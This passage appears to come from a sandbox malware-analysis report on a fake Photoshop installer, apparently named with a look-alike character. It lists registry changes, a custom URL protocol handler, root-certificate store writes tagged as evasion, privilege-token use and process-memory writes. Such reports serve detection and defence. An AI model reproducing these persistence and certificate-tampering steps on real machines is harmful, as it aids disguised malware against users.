Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B249C0B1-A004-11D1-B036-00C04FD7EC47}\ = "IActionReference"	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.nef\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.nef\ShellEx	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rwl\ShellEx	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Photoshop.Image.23\CLSID\ = "{525037B2-CF28-46E5-A0EF-34976330FC59}"	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Photoshop.PlugIn\DefaultIcon	AfterFX64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.psd	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.nrw\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}\ = "{C7657C4A-9F68-40fa-A4DF-96BC08EB3551}"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{525037B2-CF28-46E5-A0EF-34976330FC59}\Insertable\	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.nef\Content Type = "image/NEF"	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7CA9DE40-9EB3-11D1-B033-00C04FD7EC47}\TypeLib	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{90CED625-8D78-11CF-86B4-444553540000}	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Photoshop.Application.160\CLSID	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Photoshop.Application.160.1\CLSID	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\adbps\shell\open\command\ = "\"C:\\Users\\Admin\\Downloads\\Adobe_Photoshop (1)\\app\\AfterFX\\AfterFX64.exe\" \"%1\""	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rwl\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.srw\PerceivedType = "image"	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.kdc	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.srw	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mrw\ShellEx	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.psdt	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.x3f\ = "Photoshop"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bay\	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.erf\ShellEx	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ptx\	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pef\ = "Photoshop"	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.srf\PersistentHandler	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mef\PerceivedType = "image"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4B0AB3E1-80F1-11cf-86B4-444553540000}\1.0\FLAGS\ = "0"	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4B0AB3E1-80F1-11cf-86B4-444553540000}\1.0\HELPDIR\	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Photoshop.Image.23\DefaultIcon\ = "C:\\Users\\Admin\\Downloads\\Adobe_Photoshop (1)\\app\\AfterFX\\AfterFX64.exe,1"	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rwl	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.dcr\Content Type = "image/DCR"	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.dcr\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.dcr\	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mef\Content Type = "image/MEF"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Photoshop.Application.160\ = "Photoshop Application"	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.crw\ = "Photoshop"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B249C0B0-A004-11D1-B036-00C04FD7EC47}\TypeLib\Version = "1.0"	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B249C0B0-A004-11D1-B036-00C04FD7EC47}\TypeLib\ = "{4B0AB3E1-80F1-11CF-86B4-444553540000}"	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9077D1E1-8959-11CF-86B4-444553540000}\ = "IAutoPSDoc"	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.erf	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mef\Content Type = "image/MEF"	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{525037B2-CF28-46E5-A0EF-34976330FC59}\DefaultIcon	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.dng\PerceivedType = "image"	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ari\ShellEx	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mef\ShellEx	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.srf	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.sr2	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{38FB4290-9DF6-11D1-B032-00C04FD7EC47}	AfterFX64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.psd	Photoshoр.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cr2\PerceivedType = "image"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{525037B2-CF28-46E5-A0EF-34976330FC59}\ProgID\ = "Photoshop.Image.23"	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mrw\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}\ = "{C7657C4A-9F68-40fa-A4DF-96BC08EB3551}"	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{90CED625-8D78-11CF-86B4-444553540000}	Photoshoр.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Photoshop\shell\open\command	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.srf\ = "Photoshop"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rw2\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}\ = "{C7657C4A-9F68-40fa-A4DF-96BC08EB3551}"	Photoshoр.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\adbps\URL Protocol = "\U001002b2\x1e"	AfterFX64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B249C0B1-A004-11D1-B036-00C04FD7EC47}\TypeLib\ = "{4B0AB3E1-80F1-11CF-86B4-444553540000}"	AfterFX64.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Photoshop64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Photoshop64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Photoshop64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	Photoshop64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Photoshop64.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 33439.crdownload:SmartScreen	msedge.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5640	AfterFX64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1344	msedge.exe
1344	msedge.exe
2752	msedge.exe
2752	msedge.exe
948	identity_helper.exe
948	identity_helper.exe
3328	msedge.exe
3328	msedge.exe
1388	msedge.exe
1388	msedge.exe
5544	msedge.exe
5544	msedge.exe
5180	Photoshoр.exe
5180	Photoshoр.exe
5180	Photoshoр.exe
5180	Photoshoр.exe
3496	powershell.exe
3496	powershell.exe
5148	taskmgr.exe
5148	taskmgr.exe
3496	powershell.exe
5148	taskmgr.exe
5148	taskmgr.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
3168	msedge.exe
3168	msedge.exe
3168	msedge.exe
3168	msedge.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5220	plugin32274
5220	plugin32274

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5148	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs

pid	Process
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeRestorePrivilege	2732	7zG.exe
Token: 35	2732	7zG.exe
Token: SeSecurityPrivilege	2732	7zG.exe
Token: SeSecurityPrivilege	2732	7zG.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	5148	taskmgr.exe
Token: SeSystemProfilePrivilege	5148	taskmgr.exe
Token: SeCreateGlobalPrivilege	5148	taskmgr.exe
Token: SeDebugPrivilege	5520	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeShutdownPrivilege	2060	powercfg.exe
Token: SeCreatePagefilePrivilege	2060	powercfg.exe
Token: SeShutdownPrivilege	6032	powercfg.exe
Token: SeCreatePagefilePrivilege	6032	powercfg.exe
Token: SeShutdownPrivilege	6104	powercfg.exe
Token: SeCreatePagefilePrivilege	6104	powercfg.exe
Token: SeShutdownPrivilege	2908	powercfg.exe
Token: SeCreatePagefilePrivilege	2908	powercfg.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeShutdownPrivilege	3252	powercfg.exe
Token: SeCreatePagefilePrivilege	3252	powercfg.exe
Token: SeLockMemoryPrivilege	2652	dwm.exe
Token: SeShutdownPrivilege	4996	powercfg.exe
Token: SeCreatePagefilePrivilege	4996	powercfg.exe
Token: SeShutdownPrivilege	4516	powercfg.exe
Token: SeCreatePagefilePrivilege	4516	powercfg.exe
Token: SeShutdownPrivilege	5404	powercfg.exe
Token: SeCreatePagefilePrivilege	5404	powercfg.exe
Token: SeLoadDriverPrivilege	5716	DeviceProperties.exe
Token: SeLoadDriverPrivilege	5716	DeviceProperties.exe
Token: 33	2772	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2772	AUDIODG.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
2752	msedge.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe
5148	taskmgr.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2220	7z2407-x64.exe
5880	7z2407-x64.exe
5640	AfterFX64.exe
5640	AfterFX64.exe
5220	SearchApp.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 3392	2752	msedge.exe	82
PID 2752 wrote to memory of 3392	2752	msedge.exe	82
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
